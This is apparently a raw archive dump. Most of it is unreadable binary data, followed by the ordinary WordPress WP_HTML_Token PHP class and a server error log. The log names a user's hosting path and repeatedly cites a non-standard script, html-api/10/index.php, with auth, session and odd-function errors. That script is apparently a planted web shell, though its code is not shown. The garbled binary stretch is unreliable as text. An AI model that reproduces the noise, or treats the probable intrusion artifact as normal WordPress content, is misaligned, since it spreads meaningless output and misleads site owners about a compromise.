���eu5f~z��'Ⲫ;�hy�N�����Rakn/^��Z��&C=���AܺlSe����Z�8˦��@[������<�w�%,��F:���.��Ջ�<2�s��#�V]o@���+,ܹ��c�\���}T�-Œ��/=���n�p�ü�7�2��W�-�ե�垫���,7�^
���C��J~�c�h��zS��{|��:�T�F�I�����X���ZWW�F��YlW>�9���&.*���#��6��b
R5�s��+S��`.sk�-{�d�{����z�����	Pզ6U��H���;\8�Z����ȹ�΀E�4݋�a�	,��hw{����[mө��`��dp�b�	o��~�@�Mw��0�)���kB���M:��ٽ̸���g��7�z�W+�*+ 33�qq��ll��DCkQ�&���!f���l����b���%�{&�sxw@C;1XD�{`Q�f��J��U�M.�g��{rp��g��^G�^���'�)�����6Ig�3�/��Nmv/�k~���G�Q+��y9TQ"�
9x5�3Ns�\�LP!�W���]Jx�����wrp�]�����7�T|BŢ�y��ztE�����9-��|7<�;�,ʜ$��2�+�����s
���b8Fnʱi��+�E+�������E�/C	��Y����vH���E+U����Z�����ϏuDv�G�+�Ck��܉�Gd>�j�֖k~�$X	������U�`%������o�TUV�.�V�-�3w�b/	�@�+E:'.VDRЛ�m�[dO�1�1�`1���]�F�p�ӆ�[��Wf /�P�����Z��ل�Ԁwl�GΆ"��]��{㵋E�)�Kg<��&�e�Űz���6�{�e:�-�(��y�&��I��;�Ʈ"�Ă��LtG-��
̋��D�L����#"�����\�����x��ԓu��>����%�e�'.�kf����\98A���S�-�k�{�q{�d��<_0�>����.��PpAKf�ֺKV5��I>LƯ���|�%y����{+���C�;��P��$N\��<��Q�>�C�i5��k(3^-�c�μ��x����P�L(�m��U�v�q��N�I�n��$��e�K�m
�w'��U��=�
x(�	�0��
D�������24w���7�L��V
u@S!�&�rC�b�|��UB�oxWgU�ƒ�N� �p��{��;��i�r�ϝi�J�(�{zpr�M��N��=㟴3頦}��O�(�>�'�n?)��p~�I�U!F�M��������Y�c���d�cR �����OL2��Y��`��@���a���w����/�����I��5�Fj�أ	7��ݵ�U`�'�/l5S.'^�-��y��P�k�v��M�%��G4����!״���h�x_؀'8u��M�M ^� �t)�Ő�PE�!���Э�z��`Pp`�_������L��?�7pd�l�N���!���AJKd]�x�(���^�=���1}�,;���y]�p��ɱ�%��:'H�`�R�I�Q���|kkH��x�:VU�a.�іasbr�M(;�UB�1�fH����
gd��1�����3�|{�2�������1����b������S��:4����R�bY�:ڶ�_m4���'2�ҽ����pB�qR����d%��-��d�m��z��,�?R�aN��9�t��*dZ���� �˯0��'�Kg�8=''A��5�D�
�j�*{p��r��0_Ugm7+�b^4V�K��6y���뮗v�+��?��+@<	�[��m�e�kF<{^(�a�4�����+��e?�tb���>q�Hm�]��..�ԫ�o���e2��O��R�_8�Ii]��A�/��A��s��C<�y��`��ĎX�P��l�$H{է��t�A*��K�b���gp\r{as'�x����Xf���Y�6̼˅7�����Ļ��l�p��0
I�����R���ժ2=�x�<NU���ZC����_~�;���
��F{�qmE%?�dVф7Ў)s�#��T�cY�p�ل�4��b��!?�-���f`:ĸ�s���W6�+r�U)���I@��p���]&�u���UWz�c���W�l�/t�U�íZ�~�V�0V�p��ő��従�Wu�/���Wx饽�sh�Q��E��Y�އ�2�D�`���A��Ĺ	@#}���`��~�˄	/�4%�mMƐJ]t'��k�!G�q	��'o��,�q���&�ʢ`��熉�<x����}�%Ɗv�T,1W������IVS����wB*��m�dn�/�G.�Q˽9�EI`\��c�i_��~��[Y����LKܪ'�*�-�7��W'��=�c�S#�)[���×�0j��e�n� ���z+N��a�X�'@��[��U��ӸA+�w�qq�x2�d>w�,�"�Α�mqwᫍ���΀���@jv�g3̕��BW�m�v�=Z�409�t��8��U�����t�P���\����ŧKa�y�Ѿo�������~���ElB*�-F�G������Lu�r�D�0���{�s0�^ �μˬ�7rHM��_y��\Qg)Q�PA$�I��g�b>)�8��,�H�v�����YY�!H3=39���;)'�,�g�%l�A��V�u�N�.�I!)�U�*00����[�'�\�<��
B���<�E�*y��tw��B�����70��,�2����.��j��I빷�%t>4򘄸o0�?Be�����&9����dގG���zz�)�e
��[z.N����伩�>�
�I�d�����&)��K�,���w�]��8CHkh��_��Q^�f54=5�փQ:��WZ��#|�}}��1V?>O��Ǖoi`�<}SoA;�_�ڍ�@<&%�)�m"��ON��P�4'
m�U���u6z�4O�߇g�v��`�"c�T��>�X?��/���8��������e�6Ʒ4x�e�M��x�]��~Wiu>ʲ$<���o�Ɓo��^�۳�߄�
�4~�m��$���o/b�pO�F�@�o��7�����E��q��q���}B�C�b.����j�,�^�5��4��*�8����?�|M��
0G�A�C�k�5_����Ӭi�x�LG��;ŧ�/g��l��	���;����]��;k��3~�#�׉=?�R�Q���/�x��`�m���k��QSK~n��W�F�s�F��$�/]��f�I��T�_�5N"(��H�ۦ3Ɂ����R&J��H���g!�Zqj�Q��YV_�S)�=���ʙ�gmϻg��K��>��j"�&^q۲�KR�q�v,�K���:7˕�vF�'�|���q��0�!&WB��*o�/Q�����
oGc�S|�C��u���|d^��M��<�c�Ց���x4h>R#hʪ�`׋&~�9���	c�!�U[���k�/���y}���2Ƀ��W����+�n��v__�/�|��df��]�)�78+Q�-q������y�ͮ��E�{`��xx��������������'�4GF�5�K�8ȻJ��)R)���:�i6���^{J�_&!^��6�3;�&x�*p��*��_}O�*m�W��a���C~�x��,�d6�e��~b�晼�Z ���	A<ǘ�y��O��%4^Ry�pG��Ccҍ����{����p�~�C����������,�:ߵ6�r�^�ۡ�PR�����1}R����$���6����k�P���m���W�$.�C���ҫ@�a]���U�S]���D!аzC��~��������{��
rM�U߇���E��I@(�����]���	��[��?,�ҫ��[��a�:�C�9x�o�UZ!s�BgmS��)�����s��j�Bޝ�;��51���Y@��o�[_�C�"{�դ;|�{~Ui�	�jׄ�!�m����}Aq)���MW�N����6|�M���-����x-ޠ+�3����U�o�}ﵾ^�zn럲lO�Ӹo�fo2<�'m_�vM��������^mQ���^F���+n����N^څ�_nDo-��i����7��	�(�m
7�W�6aK��$�7������QD�k_�i�>����Āֿۢ9����k�b�슢��P���,�<��A%BW|6ȗ�u�bo(�/�
I�3�qnM��&AP��uLj$�G��#W�0��Qv�L�r�� �_j{�
�-V
��+�Qm%�
3=S��2ĥdg�������+�q��8�R��G��K�h��dr�/|�γlx��@89��h)��(*D�l��7�����1�X�BΞ��Crʟd�n���\6̒�\�MG�xS���C�1g ���O	5J&
jfo�id�k�>�|�����?	?^�%���!�N���fq6�Q:���$LI�SXm����^�T�c�����&_�y�F����T`�3b#��4�I��n�j�����լ!��/LL�]*b�&#�ָ���p(�]�R5��{	���
�d
~�:-�R7���˱���N�m����J��<:&���9�ڡqAΉZK��o�؊kj�����׳8�u^���.���I��ט�L)r�,��u���F��p�Q�*������ݾt�ׯ�B~DxnR䩒R�W{א��fu�HF��O3	��?��k?��b��OŸ���$aܘ�뵿9n���8����7�+��}�2z�)'e�I�3�E�Oc�`O��	
ǽ�J��4�S��Q�̲��%q�d2��憁�ȟ��&y�����S�P��T�tx�)���G�`��f��|i���	&���g�����DLk��F�+L�Vm���[	�"��!���Z�'[�{y�|<��ѡ���=<�����4D~b��,���ʕ���n���uw�\�o�>�r�C�y
͆2�dx���:d��C�o��c3�A2E�c�B	5�H"�Fr�rj��36����΍a�����Ѕ�a5\Ru}&��~�ٓh��P�����k�	 \�.,��^F�lo6��#��8E�i=��Y�DG5��Ν��>7b�nso����u��?duj���p4��.��K3�2����J�d�Dw�d٭�%)Qm���7�5��R�M��(s?��E?*?IM��4	Mu,����.�siؓ~�y�~��WwK
6���B\���M���s����[��r�)#��҄548:>8y�����'�TE�M�<z����z��;�9�+�KZ���W"H=|c5R;�����(�8;�%݊�L]Hǜ���'�+�N��E%�L`f֦H��0@c�
�<j�\�J_k��p�s���8�>���Ԣ�6k(fB�z�� vb��Ƶ������D��q�����c8���N��ȫ9-ڍ���/��>�'yo�g$.���c�4	�a|}46�=�||d�:�g��$�Q���A�M��2�#�_��d"2칓����RF4�{�@"S�Ш;��ΰ@����?�nm�smʶ�î��3b� �))��s��Pt���⪘�*Y��4ץ�Mp�$>lg�(��,L��:�.f��6-%c�-����� ���yD�(,&ΎIewxI�C�c�A�c
�n:�+
Е�v��_i�-7��) ��m��=�CN/+[Gg>������4�$����`d���Ӓ�I[PI���#a�*SS�>֦[n5րכX��ڛ��P���z���y��{��5o����x�s��{7��J��MF�)�������X��
1�R�v���T���2 �{���(6�K���l�Hn!���C���/��[J!�U.��]��]��A%
�aTnZ�p7�$E�-�
&�����h���赭$����ق�j-�8��Ά��tH�r��aeIt�+I�����T�
v�|8f�8���-�'�gpW��gH�B_�H5�HeP)�9�-vƞ8FLyD��� �t�>2OP�7�d��!�%�h�)�D2�h���J�Z�aw	�[�vf�Xt���f�9#C�M�g�*;�SΕ/Đ�!J�Y�h�k�\�	q�]%�@�6�/��V�Y]�c�6�8��k��L)9o}��1QQ, 1!�|�f%]��m0m���k�h��fc��H�E�r�Z�r
�E/�����PX)��mmպ_[й�^�=�E9�S
8����v��f�dd\~��w$�}�f��v��x,�dy�������?����:���a����R�燝�\Ƴf����J��o,1w�,�F��^ve�z�t9��1�,�Y�i�Ó޷O�z���a�D�&���Y.*O��)��d6&,oH�m��%�f����4J�l-��oll+Sa���>�����鎤��!�-܂�n:n�	s�c��+�G�W������N����k�F�Ҩц>
�@�~���w��><�v-�i����3A�L���9�#T�jOĥ(��(F<&^+sW
I�ieS�<��j+3H�FYs[�@�?�ҘB��_F`�ռw��A�LR�+ȉ~ lT�=o�G�Q�	^+�;ܺ�_��T��{c������S���.��L5�n��	�� f5s�<X`��!Cشlv��$jjw����B�K�0..���9���6i]f���&:)yh�p�c�~�q�����f�l�m�.�����$�4�28Î��$j
���b�Y}|���Ӄ���9��B��T�V�b4�f��S���R#Z��I�+<�筻�1������`��)��*{2̣U�d�a�Ԥw,W]��Nb�ZY�pU�@��t=,$I+�G�~�5�����p���u@kђ����i��G��%%^��,p�:V�4�@y����|�.������)
{r���r�������=y�U��9�������[�ݪVH�O0(j6�VPó�I;7��˘IJ*X�T[M��jb�46a��(
u(�E�<..����U�2���$����ά*S�}�H0�N�Vl�����W(;���,�zD�<��6;�c��Jjd\0����g���|���*��9رP�jì��>����@=Y�2���,OL9�F��+�(�"x�zW*_�Zܢ�r|�{�7��1X�NIyƤN�M2�FcN�
�Q���+�?߀�U:QYG�oVS|��sM3�ef���&7���މ�W/iW ��ҍ�$
v
$9��'�o�]}�D���v�)�[<X~!<&6ښ�~l)9��}��k]��d���XL\�$�K4RLč��d¾6)
�"�M����bLĈ�����DL9ΰZA\ �=b4���V�/Re�����1�n�d�2�uT1�K�˃�$�RNJ��䠃�C^Ɠ��:J��Fvy#ݤ��<���SI�:��@a^GaQ��Lw�Yo���=���)o�CA�T�*U�yҪjѝ�T��h��7I=Wo�^B˷X�Tu�����S,��~����ѣ�w��ֲ�qӭ�M>�i��[mf;ڕ<n�@i��=��>:�{r�_>}v�䛃�Ʒ���5�A
�����#l���2��6���*ؿJ���9j����� �e~Űvo��q�=˨_��Ȇ���	K�m��7h��=�!��}��u�&�D�@
�f1��4�� SG|�	
~�p<��t�XŚ���������J�+h�b�,ݔL
�tP�g�Z~B �m��[C,�'�:Ѧ4z��(�gˆ�c��`vw�)��W�i~�	E0c/Ix��	<�NWڷj�a|���b��`Fe-�)�'+H��9�c�E���5��u�P��B{�ݷH0�U7B����cO�p�#ce6�P�B��D�`�KVp�r��	�v�ދT*ڇ��������K}��|H����W�����T�%����R��2�Q���4@���ė̡�VuB
��•-Do�A�ښ��ʂ��'�����&���@
焨r6;HN�"9��yR�y�����&u�~
1bɕ=bH�ntg�n�ԛu"S�W�|ƚR&����z�	�`���DJ��_/���P.G!o�5g;�w̄0U��&��td�C�#��E'\e�
M�]�yX5<@���n���L�hS�ʪ֫u�
8��!�S�_�8L�aNҚ�"�f��P;e�Dvu<���5��w69o��\�e��+x����yժ��g9l�H��O�~���sx�Y��UwCQg��w}0����4YjC�l[�	N~ �㓝���L~�5�8Jy獿ڻ��l���{.Z
$<2�"���Z
����L=��°���?�[��������9�8��$x�I9�}�l�"|����މf����+&$n�rЉ�..u��P�(���6T��Z"�íc�֢*���y�B����9y������zg<IG����Q�#��`p���B����n߂��sj;c�j�4L�v��}�M{o�U��7k�AO��Zx��Z�Rf��4�RG�Y��2�S�{�N=M������Q��z����ʈ���)���h��
�]�Wc�G��Z׊ON��JF+l�
*,k�Xi��1g�"6��*��[Fο�j��h��F�v��w���3y�@h���)&��[�|<�
������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���Vclass-wp-html-token.php.tar000064400000012000151440300030011632 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
error_log000064400000105265151440300030006460 0ustar00[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
